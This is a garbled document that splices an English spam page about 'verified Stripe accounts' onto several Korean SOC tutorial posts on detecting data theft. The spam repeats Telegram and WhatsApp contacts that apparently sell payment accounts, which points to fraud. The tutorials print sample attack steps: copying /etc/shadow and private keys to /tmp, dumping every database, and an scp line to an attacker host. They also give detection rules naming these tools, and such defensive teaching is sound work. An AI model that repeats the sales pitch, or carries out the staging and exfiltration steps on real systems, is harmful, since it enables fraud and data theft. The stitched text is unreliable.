Where to Get Verified Stripe Accounts Online: A Complete Guide Introduction For anyone preparing to accept payments through the internet, Stripe can be an important part of an online payment setup. As a result, searches for verified Stripe accounts have become increasingly common. We’re Always Online — 24/7 Reply/Contact 📲▶ Telegram: @usanovapro 📞▶ WhatsApp: ▶+1(208) 402-6908 🌐Visit Now Link ; infousanovapro@gmail.com A quick search may reveal websites offering pre-verified profiles, aged accounts, ready-to-use accounts, or other shortcuts. At first glance, these offers may appear convenient. However, the important question is not simply whether an account has been labeled “verified.” The real question is whether that account legitimately belongs to the person or organization that intends to operate it. Stripe verification is designed to establish information about an account holder and the organization connected with an account. Depending on the location and account type, Stripe can request identity details, organization information, ownership details, address information, website details, and supporting documentation. For this reason, creating an account directly through Stripe is generally a more appropriate approach than purchasing credentials from an unknown source. This guide explains where legitimate Stripe account information can be found, how the verification process works, what to prepare before registration, and how to avoid common problems associated with third-party offers. Explanation of the Subject The expression “verified Stripe account” is often used loosely on the internet. A legitimate Stripe account goes through Stripe's own onboarding and verification procedures. The exact checks depend on factors such as location, organization type, and the information Stripe needs to confirm. Stripe may be able to verify some information automatically. In other situations, it can request additional documentation. This distinction is important because a third-party seller may advertise an account as “verified,” but that does not mean the account was created for the person who intends to use it. Official Stripe Registration The most appropriate source for a new Stripe account is the official Stripe platform. A user can begin the registration process, select the relevant location, enter accurate information, and follow the instructions displayed during onboarding. This provides a direct connection between the account holder and the profile being created. Stripe Help and Support Stripe's official Support Center is another valuable resource. It provides information about verification requirements, documentation, account configuration, website requirements, regional availability, and other topics. When requirements are unclear, checking official support information is preferable to relying on advice from an anonymous seller. Stripe Documentation Developers can also use Stripe's official documentation when integrating payment features into websites or applications. The documentation covers APIs, Checkout, Connect, webhooks, testing tools, and other technical resources. Using official documentation can help developers avoid outdated or inaccurate implementation advice. We’re Always Online — 24/7 Reply/Contact 📲▶ Telegram: @usanovapro 📞▶ WhatsApp: ▶+1(208) 402-6908 🌐Visit Now Link ; infousanovapro@gmail.com Key Points Choose the Original Source When looking for a verified Stripe account, start with Stripe rather than a marketplace or private seller. The official platform provides the actual registration and verification process. Prepare Before Registration Having the necessary information ready can make registration easier. Depending on the situation, users may need information relating to: Their identity Organization name Organization structure Physical address Website Products or services Ownership details Contact information The exact requirements can differ. Keep Everything Accurate Accuracy is one of the most important parts of the process. The information entered during registration should represent the actual person or organization that will operate the account. If additional documents are requested, those documents should correspond with the information already provided. Review Eligibility Not every type of activity is supported by Stripe. Before investing time in account setup, users should review Stripe's current prohibited and restricted categories. This is particularly important for organizations operating in specialized or regulated areas. Examples Example 1: A Small E-Commerce Website A website owner launches an online store and wants to add Stripe checkout. Instead of purchasing an existing profile, the owner registers directly with Stripe. The owner provides accurate details, adds the store website, describes the products, and completes any verification requests. This approach creates a clear relationship between the store and its Stripe profile. Example 2: A Content Creator A creator sells digital resources through a personal website. The creator opens a Stripe account using their own details and explains what customers receive after purchase. If Stripe asks for additional information, the creator responds through the official Stripe interface. There is no need to obtain an account previously created for somebody else. Example 3: A Software Company A software company wants to add Stripe Checkout to its application. The company first completes the appropriate Stripe onboarding process. Afterward, its development team uses Stripe's official documentation to integrate the required features. The technical integration and account verification are therefore handled through appropriate channels. Example 4: A Questionable Offer Suppose a website claims to sell “fully verified Stripe accounts” and says that the buyer only needs to change the profile details after purchase. This offer should be approached carefully. The original account may have been created using information belonging to another person or organization. Changing selected fields later does not necessarily establish legitimate ownership. Practical Applications Website Checkout Stripe can be integrated into websites to provide online checkout functionality where supported. Website owners can select the appropriate Stripe tools based on their technical requirements. We’re Always Online — 24/7 Reply/Contact 📲▶ Telegram: @usanovapro 📞▶ WhatsApp: ▶+1(208) 402-6908 🌐Visit Now Link ; infousanovapro@gmail.com Digital Services Creators and professional service providers can use approved Stripe features to support online payment collection. The website should clearly explain the services offered and provide accurate contact information. Online Applications Developers can integrate Stripe into web applications using official APIs. This can allow applications to create customized checkout experiences and manage customer-related payment functionality. Marketplace Platforms Organizations building platforms may use Stripe Connect where applicable. Connect provides tools designed for platform-based payment flows, but implementation requirements can vary according to the platform model. International Websites Organizations serving customers across different regions should review Stripe's availability and country-specific requirements. A feature available in one region may not be available in another. Checking current information before development can prevent unnecessary changes later. Common Mistakes Buying an Account From an Unknown Seller A third-party seller may promise a ready-made profile, but there may be no reliable way to determine how the account was originally created. The official registration route avoids this uncertainty. Assuming Older Accounts Are Better Some advertisements emphasize account age as if an older profile automatically provides an advantage. Age alone does not establish whether an account is suitable for a particular operator. Ignoring Verification Requests If Stripe requests additional information, ignoring the request can create problems. Users should review their Dashboard and follow the instructions provided by Stripe. Providing Conflicting Information Differences between registration information and supporting documents can lead to additional checks. Before submitting anything, users should review names, addresses, organization details, and other relevant fields carefully. Using an Inaccurate Website A website associated with an account should accurately represent what the organization offers. A website with little information or content that conflicts with the account description can create unnecessary questions. Sharing Credentials With Strangers Users should not casually provide Stripe login details to people offering unofficial verification services. If assistance is needed, official Stripe support should be the first option. Key Takeaways The main lessons from this guide are simple: Begin with the official Stripe website. Use accurate information throughout registration. Prepare relevant documentation before starting. Check whether your location and activity are supported. Review Stripe's current restricted-category rules. Use the official Dashboard for verification requests. Consult Stripe Support when requirements are unclear. Use official developer documentation for technical integrations. Treat “pre-verified” third-party accounts with caution. Never assume that an account created for another person can simply become yours. Conclusion Finding a verified Stripe account online is not necessarily about locating a seller offering a ready-made profile. The more important objective is establishing an account that genuinely represents the person or organization operating it. We’re Always Online — 24/7 Reply/Contact 📲▶ Telegram: @usanovapro 📞▶ WhatsApp: ▶+1(208) 402-6908 🌐Visit Now Link ; infousanovapro@gmail.com
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 25/50편 (전체 225/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 224. 중요 정보 접근 — 민감 테이블·컬럼 접근 탐지 207. 접근 vs 유출 — 공격 단계의 구분 1. 개념 공격자는 여러 소스에서 수집한 데이터를 한 곳(staging 디렉터리)에 모은 뒤 압축·유출합니다. staging은 접근(E09 24)과 유출(E32 )을 잇는 중간 단계로, 여기서 차단하면 유출을 막을 수 있습니다. 데이터 staging 패턴 집결 위치: /tmp, /dev/shm, /var/tmp, 숨김 디렉터리 모으기: cp 여러 파일 → /tmp/.stage/ 압축: tar czf /tmp/data.tgz /tmp/.stage/ 분할: split -b 10M (크기 제한 우회, E36) 특징: 평소 비어있는 경로에 다양한 소스 파일 집결 staging 디렉터리는 평소 비어있는 임시 경로(/tmp·/dev/shm)에 다양한 소스의 파일이 모이는 것이 특징입니다. 2. 왜 중요한가 staging은 접근과 유출 사이의 차단 기회로, 여기서 막으면 유출을 방지합니다. 여러 소스(설정·DB·홈)의 파일이 한 임시 경로에 모이는 것이 수집의 명확한 신호입니다. 압축·분할은 유출 준비(전송 효율·크기 제한 우회)의 직접 전조입니다. 3. 핵심 명령어 / 설정 staging 신호 의미 위험 임시 경로 파일 집결 데이터 수집 높음 다양한 소스 복사 광범위 수집 높음 tar/zip 압축 유출 준비 높음 split 분할 크기 제한 우회 높음 숨김 디렉터리 은닉 높음 4. 실습 (실습 예시) # 데이터 staging 탐지 (분석 방법) # 임시 경로로의 다중 복사(집결) sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E '/tmp/|/dev/shm/|/var/tmp/' | grep 'comm="cp"' | tail # staging 디렉터리의 압축·분할 sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -E 'comm="(tar|gzip|zip|split)"' | grep -E '/tmp/|/dev/shm/' # 현재 임시 경로의 아카이브 find /tmp /dev/shm /var/tmp -type f \( -name '*.tar*' -o -name '*.zip' -o -name '*.gz' \) 2>/dev/null 5. 정상 상태 $ (임시 경로 집결) (없음) $ (압축·분할) (없음) $ (임시 아카이브) (없음) 임시 경로에 데이터 집결·압축·아카이브가 없는, staging 활동이 없는 상태가 정상입니다. 6. 이상 상태 $ (임시 경로 집결) 04:00 cp /etc/shadow /tmp/.s/ 04:00 cp database.yml /tmp/.s/ 04:01 cp -r /home/alice/docs /tmp/.s/ $ (압축·분할) 04:02 tar czf /tmp/.s/all.tgz /tmp/.s/ 04:03 split -b 10M all.tgz shadow·DB 설정·문서를 /tmp/.s/에 집결 → 다양한 소스 수집 tar 압축 + split 분할 → 유출 준비(크기 제한 우회) 임시 경로 집결·압축·분할 → staging 완성 → 정탐(유출 임박) 7. 로그 분석 (분석 방법) 데이터 staging 흐름입니다(가상의 예시 로그). [집결] cp 여러 소스 → /tmp/.s/ (shadow·DB·문서) ↓ [압축] tar czf /tmp/.s/all.tgz (단일 파일화) ↓ [분할] split -b 10M (전송·크기 제한 우회, E36) ↓ [유출] 외부 전송(E32) — staging에서 차단하면 방지 단계 흔적 집결 임시 경로 다중 cp 압축 tar/zip 분할 split 유출 전송 staging(집결·압축) 탐지 시점이 유출 전 마지막 차단 기회입니다. 8. SOC 관제 포인트 staging은 수집한 데이터를 한 임시 경로에 집결·압축 하는 유출 직전 단계입니다. 다양한 소스 파일 집결·tar 압축·split 분할이 핵심 신호입니다. staging 탐지가 유출 전 마지막 차단 기회이므로 즉시 대응합니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_staging,"> <!-- 임시 경로에 중요 정보 접근 후 압축(staging) --> <rule id="104240" level="12"> <if_sid>104000</if_sid> <field name="audit.comm" type="pcre2">^(tar|gzip|zip|7z|split)$</field> <field name="audit.proctitle" type="pcre2">(/tmp/|/dev/shm/|/var/tmp/)</field> <description>임시 경로 데이터 집결·압축(staging — 유출 준비)</description> <mitre><id>T1074.001</id><id>T1560.001</id></mitre> </rule> </group> 접근(E09~24) → staging(여기) → 유출(E32)을 세션 상관해 공격 진행을 포착합니다. staging에서 차단이 최선입니다. 10. 대응 방법 초기 확인 — 임시 경로로의 파일 집결·소스 다양성·압축·분할을 확인합니다. 범위 확인 — 직전 접근(E09~24)·직후 유출(E32)과의 세션 연계를 확인합니다. 증거 확보 — staging 디렉터리 내용·집결·압축 이벤트를 보존합니다. 차단/조치 — 유출 전 차단(staging 삭제·세션 종료·전송 차단)을 진행합니다. 재발 방지 — staging 탐지를 유출 전 차단 지점으로 운영합니다. 11. 핵심 정리 staging 신호 의미 임시 경로 집결 데이터 수집 다양한 소스 복사 광범위 수집 tar/zip 압축 유출 준비 split 분할 크기 제한 우회 면접 포인트 "staging은 유출 전 마지막 차단 기회 — 임시 경로 집결·압축이 신호" 12. 다음 편 예고 다음 편 226. 중요 정보 접근 — 비정상 시간대·주체의 데이터 접근 탐지 에서는 비정상 시간대·주체의 접근을 다루는 비정상 시간대·주체의 데이터 접근 탐지 를 다룹니다. 이전 편: 224. 중요 정보 접근 — 민감 테이블·컬럼 접근 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 19/50편 (전체 219/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 218. 중요 정보 접근 — 중요 파일 접근 이상 종합 분석 213. DB 설정·자격증명 파일 접근 탐지 1. 개념 3단계는 DB·대량 데이터 접근을 다룹니다. 첫 번째는 DB 데이터 파일 직접 접근 입니다. 공격자는 DB 엔진(쿼리)을 거치지 않고 데이터 파일 자체를 복사해, DB 감사 로그를 우회하며 전체 데이터를 탈취합니다. DB 데이터 파일 직접 접근 위험 MySQL: /var/lib/mysql/*.ibd, ibdata1 (테이블 데이터) PostgreSQL: /var/lib/pgsql/data/base/* MongoDB: /var/lib/mongodb/*.wt SQLite: *.db, *.sqlite 파일 우회 효과: DB 쿼리 로그 안 남김 → 은밀한 전체 탈취 정상: DB 엔진(mysqld·postgres)만 접근 DB 파일은 DB 엔진만 접근하는 것이 정상입니다. 쉘 명령(cp·tar)의 접근은 엔진 우회 탈취로 명백한 이상입니다. 2. 왜 중요한가 DB 파일 직접 복사는 쿼리 로그를 우회해 은밀하게 전체 데이터를 탈취합니다. DB 엔진 외 프로세스의 데이터 파일 접근은 정상 운영에 없어 명확한 이상입니다. 파일을 다른 곳에서 열면 전체 테이블을 복원할 수 있어 대량 유출로 직결됩니다. 3. 핵심 명령어 / 설정 DB 데이터 파일 엔진 위험 /var/lib/mysql/*.ibd MySQL 테이블 데이터 ibdata1 MySQL 공유 테이블스페이스 pgsql/data/base/* PostgreSQL 전체 DB mongodb/*.wt MongoDB 컬렉션 *.db / *.sqlite SQLite 전체 DB 4. 실습 (실습 예시) # DB 데이터 파일 직접 접근 탐지 (분석 방법) # DB 데이터 디렉터리 접근(엔진 외) sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -E '/var/lib/(mysql|pgsql|mongodb)' | grep -vE 'comm="(mysqld|postgres|mongod)"' | tail # DB 파일 복사·전송 sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E 'comm="(cp|tar|scp|rsync)"' | grep -E 'mysql|pgsql|\.ibd|\.db' 5. 정상 상태 $ (DB 파일 접근) (없음 또는 엔진만) DB 데이터 파일 접근이 DB 엔진(mysqld·postgres)에 의해서만 발생하고, 쉘의 복사·전송이 없는 상태가 정상입니다. 6. 이상 상태 $ (DB 파일 접근) 04:00 comm="tar" auid=devops /var/lib/mysql → /tmp/db.tar 04:01 comm="cp" auid=devops /var/lib/pgsql/data/base → 복사 MySQL 데이터 디렉터리 전체를 tar로 압축 → DB 엔진 우회 전체 탈취 PostgreSQL base 복사 → 전체 DB 파일 탈취 DB 엔진이 아닌 쉘의 데이터 파일 접근·복사 → 정탐(최고 위험) 7. 로그 분석 (분석 방법) DB 파일 직접 탈취 흐름입니다(가상의 예시 로그). type=SYSCALL comm="tar" auid=devops key="data_access" type=PATH name="/var/lib/mysql/appdb/users.ibd" → DB 엔진 우회, 데이터 파일 직접 압축(쿼리 로그 안 남김) [이후] /tmp/db.tar 유출 → 다른 곳에서 복원 → 전체 데이터 관찰 해석 tar /var/lib/mysql 데이터 파일 압축 comm≠mysqld 엔진 우회 쿼리 로그 없음 은밀 이후 유출 전체 탈취 엔진 우회 파일 접근은 DB 쿼리 감사로는 안 잡히므로 파일 접근 감사가 필수입니다. 8. SOC 관제 포인트 DB 데이터 파일 직접 접근은 DB 엔진·쿼리 로그를 우회한 전체 탈취 입니다. 정상은 DB 엔진만 접근 — 쉘의 복사·압축·전송은 명백한 이상입니다. 쿼리 감사로는 안 잡히므로 파일 접근 감사(data_access)가 필수 탐지 수단입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_access,"> <rule id="104180" level="13"> <if_sid>104000</if_sid> <field name="audit.file" type="pcre2">/var/lib/(mysql|pgsql|mongodb)/|\.(ibd|frm|wt)$</field> <field name="audit.comm" type="pcre2">^(cp|tar|scp|rsync|cat|dd|gzip|zip)$</field> <description>DB 데이터 파일 직접 접근(엔진 우회 전체 탈취)</description> <mitre><id>T1005</id></mitre> </rule> </group> 정상 DB 엔진(mysqld·postgres·mongod)은 제외합니다. 파일 접근 후 유출을 상관으로 연계합니다. 10. 대응 방법 초기 확인 — 접근된 DB 데이터 파일·주체·방법과 엔진 여부를 확인합니다. 범위 확인 — 데이터 디렉터리 전체 압축·복사·이후 유출을 확인합니다. 증거 확보 — DB 파일 접근 이벤트와 대상 데이터 범위를 보존합니다. 차단/조치 — 엔진 우회 탈취 정탐이면 전송 차단·세션 종료·전체 데이터 유출 조사를 진행합니다. 재발 방지 — DB 데이터 파일 직접 접근 탐지를 운영합니다. 11. 핵심 정리 DB 파일 위험 *.ibd/ibdata1 MySQL 테이블 데이터 pgsql base PostgreSQL 전체 mongodb .wt 컬렉션 엔진 우회 쿼리 로그 없는 탈취 면접 포인트 "DB 파일 직접 접근은 엔진·쿼리 로그 우회 — 파일 접근 감사로만 포착" 12. 다음 편 예고 다음 편 220. 중요 정보 접근 — 데이터베이스 덤프 생성 탐지 에서는 데이터베이스 덤프 생성을 다루는 데이터베이스 덤프 생성 탐지 를 다룹니다. 이전 편: 218. 중요 정보 접근 — 중요 파일 접근 이상 종합 분석 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 12/50편 (전체 212/450) 학습 단계: 중요 파일 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 211. 중요 정보 접근 — SSH 키·인증 파일 접근 탐지 202. 중요 정보(민감 데이터)의 분류와 식별 1. 개념 TLS/SSL 인증서의 개인키 (.key·.pem)는 서버의 신원과 암호화를 보증합니다. 탈취되면 서버 위장(피싱)·암호화 트래픽 복호화에 악용되므로, 개인키 파일 읽기 접근은 고위험입니다. 인증서 개인키 접근 위험 /etc/ssl/private/*.key 서버 개인키 → 위장·복호화 /etc/pki/tls/private/* (RHEL) 개인키 app 인증서 *.pem 앱 TLS 개인키 코드서명 키 → 악성코드 서명 정상: 웹서버(nginx/httpd)·서비스가 시작 시 읽음 공격: 쉘 명령으로 개인키 읽기·복사 → 탈취 개인키는 서비스(웹서버)가 기동 시 읽는 것이 정상입니다. 쉘 명령의 읽기·복사는 탈취 시도입니다. 2. 왜 중요한가 TLS 개인키 탈취는 서버 위장(피싱 사이트)·중간자 복호화로 이어집니다. 코드서명 키 탈취는 악성코드를 정상 서명으로 위장하게 합니다. 정상은 웹서버·서비스가 기동 시 읽으므로, 쉘 명령 읽기는 명백한 이상입니다. 3. 핵심 명령어 / 설정 개인키 경로 용도 탈취 위험 /etc/ssl/private/ 서버 TLS 위장·복호화 /etc/pki/tls/private/ RHEL TLS 위장·복호화 앱 *.pem 앱 TLS 통신 복호화 코드서명 키 서명 악성 위장 CA 키 인증 발급 신뢰 붕괴 4. 실습 (실습 예시) # 인증서 개인키 접근 탐지 (분석 방법) # 개인키 파일 읽기(웹서버/서비스 외) sudo ausearch -k sensitive_read,cred_access -i --start recent 2>/dev/null | grep -E '\.key$|private/|\.pem$' | grep -vE 'comm="(nginx|httpd|httpd-|haproxy|postfix|dovecot)"' | tail # 개인키 복사 패턴 sudo ausearch -k cred_access -i --start recent 2>/dev/null | grep -E 'comm="(cp|cat|tar|scp|curl)"' | grep -E 'private|\.key' 5. 정상 상태 $ (개인키 접근) (없음 또는 nginx/httpd 기동 읽기만) TLS 개인키 접근이 웹서버·서비스의 기동 읽기에 그치고, 쉘 명령의 읽기·복사가 없는 상태가 정상입니다. 6. 이상 상태 $ (개인키 접근) 04:00 comm="cp" auid=www-data /etc/ssl/private/server.key → /tmp 04:01 comm="cat" auid=devops /etc/pki/tls/private/app.key 웹 계정(www-data)이 서버 개인키를 /tmp에 복사 → 키 탈취(서버 위장) devops가 앱 개인키를 cat → TLS 복호화 키 탈취 서비스가 아닌 주체의 개인키 읽기·복사 → 정탐(고위험) 7. 로그 분석 (분석 방법) 인증서 개인키 탈취 흐름입니다(가상의 예시 로그). type=SYSCALL comm="cp" auid=www-data key="cred_access" type=PATH name="/etc/ssl/private/server.key" → 웹 계정이 서버 TLS 개인키 복사(탈취) [이후] /tmp/server.key 유출(E32) → 서버 위장·트래픽 복호화 관찰 해석 cp server.key 개인키 탈취 auid=www-data 비서비스 주체 /tmp 복사 수집 이후 유출 위장·복호화 개인키 읽기·복사 → 유출로 이어지는 탈취 체인을 연계로 탐지합니다. 8. SOC 관제 포인트 TLS/SSL 개인키 접근 은 서버 위장·트래픽 복호화를 위한 탈취 시도입니다. 정상은 웹서버·서비스 기동 읽기 — 쉘 명령 읽기·복사는 명백한 이상입니다. 코드서명·CA 키 탈취는 악성 위장·신뢰 붕괴로 이어지므로 최고 우선순위입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,sensitive_access,"> <rule id="104110" level="13"> <if_sid>104000</if_sid> <field name="audit.file" type="pcre2">(/etc/ssl/private/|/etc/pki/tls/private/|\.key$)</field> <field name="audit.comm" type="pcre2">^(cat|cp|dd|tar|scp|curl|wget|xxd|base64)$</field> <description>비서비스 주체의 TLS 개인키 접근(키 탈취)</description> <mitre><id>T1552.004</id></mitre> </rule> </group> 정상 웹서버·서비스(nginx·httpd 등)는 화이트리스트로 제외합니다. 개인키 접근 후 유출을 상관으로 연계합니다. 10. 대응 방법 초기 확인 — 접근된 개인키 파일·용도·주체·방법을 확인합니다. 범위 확인 — 서비스 여부·복사·이후 유출로 이어졌는지 확인합니다. 증거 확보 — 개인키 접근 이벤트와 연계 로그를 보존합니다. 차단/조치 — 키 탈취 정탐이면 세션 종료·인증서 재발급(키 교체)·영향 조사를 진행합니다. 재발 방지 — 인증서 개인키 접근 탐지를 운영합니다. 11. 핵심 정리 개인키 탈취 위험 서버 TLS 개인키 위장·복호화 앱 .pem 통신 복호화 코드서명 키 악성 위장 CA 키 신뢰 붕괴 면접 포인트 "TLS 개인키 탈취는 서버 위장·복호화 — 정상은 서비스 기동 읽기만" 12. 다음 편 예고 다음 편 213. 중요 정보 접근 — DB 설정·자격증명 파일 접근 탐지 에서는 DB 설정·자격증명 접근을 다루는 DB 설정·자격증명 파일 접근 탐지 를 다룹니다. 이전 편: 211. 중요 정보 접근 — SSH 키·인증 파일 접근 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 20/50편 (전체 220/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지 213. DB 설정·자격증명 파일 접근 탐지 1. 개념 덤프 도구(mysqldump·pg_dump)는 DB 전체를 SQL/파일로 추출합니다. 정상적으로 백업에 쓰이지만, 공격자가 탈취한 자격증명으로 전체 DB를 덤프 하면 대량 유출의 직전 단계가 됩니다. DB 덤프 도구와 위험 mysqldump --all-databases → 전체 MySQL DB 추출 pg_dump / pg_dumpall → PostgreSQL 추출 mongodump → MongoDB 추출 SELECT ... INTO OUTFILE → 쿼리로 파일 추출 정상: 백업 시간·백업 계정의 정기 덤프 공격: 비정기·비백업 계정·전체 덤프 → 유출 준비 덤프는 백업 프로세스가 정기적으로 하는 것이 정상입니다. 비백업 주체·비정기 시간의 전체 덤프는 유출 준비 신호입니다. 2. 왜 중요한가 DB 덤프는 전체 데이터를 한 파일로 추출해, 유출 직전의 수집(staging) 단계입니다. 탈취한 DB 자격증명(E13)으로 덤프하면 정상 도구를 악용한 유출이 됩니다. 정상 백업과 구분하려면 주체·시점·범위(전체 vs 특정)·이후 전송을 봐야 합니다. 3. 핵심 명령어 / 설정 덤프 방법 추출 범위 위험 mysqldump --all-databases 전체 MySQL 매우 높음 pg_dumpall 전체 PostgreSQL 매우 높음 mongodump MongoDB 높음 INTO OUTFILE 쿼리 추출 높음 정기 백업 덤프 정상 정상 4. 실습 (실습 예시) # DB 덤프 생성 탐지 (분석 방법) # 덤프 도구 실행(백업 계정·시간 외) sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E 'comm="(mysqldump|pg_dump|pg_dumpall|mongodump)"' | tail # 덤프 명령줄(전체 범위 여부) sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(mysqldump|pg_dump).*' | tail 5. 정상 상태 $ (DB 덤프) 03:00 comm="mysqldump" auid=backup proctitle="mysqldump --single-transaction appdb" → 백업 계정이 정기 시간에 특정 DB 덤프(정상) 백업 계정이 정기 시간(03시)에 지정 DB를 덤프하는, 정상 백업 동작 상태입니다. 6. 이상 상태 $ (DB 덤프) 04:00 comm="mysqldump" auid=www-data proctitle="mysqldump --all-databases" 04:02 comm="scp" /tmp/all.sql → 외부 웹 계정(www-data)이 전체 DB(--all-databases)를 덤프 → 전체 데이터 추출 직후 scp로 외부 전송 → 대량 유출 비백업 주체·전체 범위·이후 전송 → 유출 준비·실행 → 정탐 7. 로그 분석 (분석 방법) DB 덤프 유출 흐름입니다(가상의 예시 로그). type=SYSCALL comm="mysqldump" auid=www-data key="data_access" type=PROCTITLE proctitle=mysqldump --all-databases -u root → 웹 계정이 전체 DB 덤프(수집) [이후] scp /tmp/all.sql attacker@외부 (유출, E32) 관찰 해석 mysqldump --all 전체 추출 auid=www-data 비백업 주체 이후 scp 외부 유출 04:00 비정기 덤프(수집) → 전송(유출)을 세션으로 연계하면 대량 유출을 명확히 포착합니다. 8. SOC 관제 포인트 DB 덤프 도구는 전체 데이터를 한 파일로 추출 하는 유출 직전 수집 단계입니다. 정상 백업(백업 계정·정기·지정 DB)과 비백업·비정기·전체 덤프를 구분합니다. 덤프(수집) → 외부 전송(유출) 연계가 핵심 탐지 포인트입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_access,"> <rule id="104190" level="12"> <if_sid>104000</if_sid> <field name="audit.comm" type="pcre2">^(mysqldump|pg_dump|pg_dumpall|mongodump|mariadb-dump)$</field> <field name="audit.auid" type="pcre2">^(?!backup|root-backup)[a-z0-9]+$</field> <description>비백업 주체의 DB 덤프 생성(유출 준비)</description> <mitre><id>T1005</id><id>T1030</id></mitre> </rule> </group> 정상 백업 계정·시간은 예외 처리합니다. --all-databases 등 전체 범위는 레벨을 높이고, 이후 전송을 상관합니다. 10. 대응 방법 초기 확인 — 덤프 도구·실행 주체·범위(전체/지정)·시점을 확인합니다. 범위 확인 — 백업 계정·시간 여부와 이후 외부 전송을 확인합니다. 증거 확보 — 덤프 실행 이벤트와 생성된 덤프 파일·연계 로그를 보존합니다. 차단/조치 — 유출 정탐이면 전송 차단·세션 종료·덤프 범위(유출 데이터) 조사를 진행합니다. 재발 방지 — DB 덤프 생성 탐지를 운영합니다. 11. 핵심 정리 덤프 방법 범위 mysqldump --all 전체 MySQL pg_dumpall 전체 PostgreSQL mongodump MongoDB INTO OUTFILE 쿼리 추출 면접 포인트 "DB 덤프는 유출 직전 수집 — 비백업·전체 범위·이후 전송이 정탐 신호" 12. 다음 편 예고 다음 편 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 에서는 대량 파일 읽기를 다루는 대량 파일 읽기(bulk read) 탐지 를 다룹니다. 이전 편: 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 24/50편 (전체 224/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 223. 중요 정보 접근 — 쿼리·DB 로그를 통한 접근 분석 202. 중요 정보(민감 데이터)의 분류와 식별 1. 개념 DB에서도 민감 테이블·컬럼 이 특히 고가치입니다. 개인정보(users·members)·결제(payments·cards)·인증(credentials) 테이블과 주민번호·카드번호·비밀번호 컬럼 접근을 집중 탐지합니다. 민감 테이블·컬럼 접근 위험 테이블: users, members, payments, cards, credentials 컬럼: ssn(주민번호), card_no, password, api_token 패턴: SELECT * FROM payments (전체) SELECT ssn, card_no FROM users (민감 컬럼 선별) COUNT(*) 후 전체 조회 (규모 파악→추출) 법적 의미: 개인정보·결제정보는 유출 시 법적 책임(GDPR·개인정보보호법) 민감 테이블·컬럼은 법적으로도 보호 대상(개인정보보호법)이라, 접근 탐지가 컴플라이언스와 직결됩니다. 2. 왜 중요한가 민감 테이블·컬럼은 개인정보·결제정보로 유출 시 법적 책임이 큽니다. 전체 조회(SELECT *)·민감 컬럼 선별은 데이터 추출의 명확한 신호입니다. 정상 앱은 필요한 행·컬럼만 조회하므로, 전체·민감 컬럼 조회는 이상입니다. 3. 핵심 명령어 / 설정 접근 패턴 데이터 위험 SELECT * payments 전체 결제 매우 높음 SELECT ssn,card_no 민감 컬럼 매우 높음 SELECT password 자격증명 매우 높음 전체 users 조회 개인정보 높음 필요 행·컬럼만 정상 앱 정상 4. 실습 (실습 예시) # 민감 테이블·컬럼 접근 탐지 (분석 방법) # 민감 컬럼 선별 조회(DB 로그, 분석용) sudo grep -iE 'SELECT .*(ssn|card_no|password|passwd|api_token|rrn)' /var/log/mysql/*.log 2>/dev/null | tail # 민감 테이블 전체 조회 sudo grep -iE 'SELECT \* FROM (payments|cards|credentials|members)' /var/log/mysql/*.log 2>/dev/null | tail 5. 정상 상태 $ (민감 컬럼 조회) 앱의 정상 범위(단건·WHERE 조건) 쿼리만 $ (민감 테이블 전체) (없음) 민감 테이블·컬럼 조회가 앱의 정상 범위(조건절·단건)에 그치고, 전체·민감 컬럼 선별 조회가 없는 상태가 정상입니다. 6. 이상 상태 $ (민감 컬럼 조회) SELECT ssn, card_no, password FROM users (민감 컬럼 전체) $ (민감 테이블 전체) SELECT * FROM payments (전체 결제 데이터) 주민번호·카드번호·비밀번호 컬럼을 WHERE 없이 전체 조회 → 개인정보 대량 추출 payments 전체 조회 → 전 결제 데이터 유출 민감 컬럼·전체 조회 → 법적 책임 있는 유출 → 정탐(최고 위험) 7. 로그 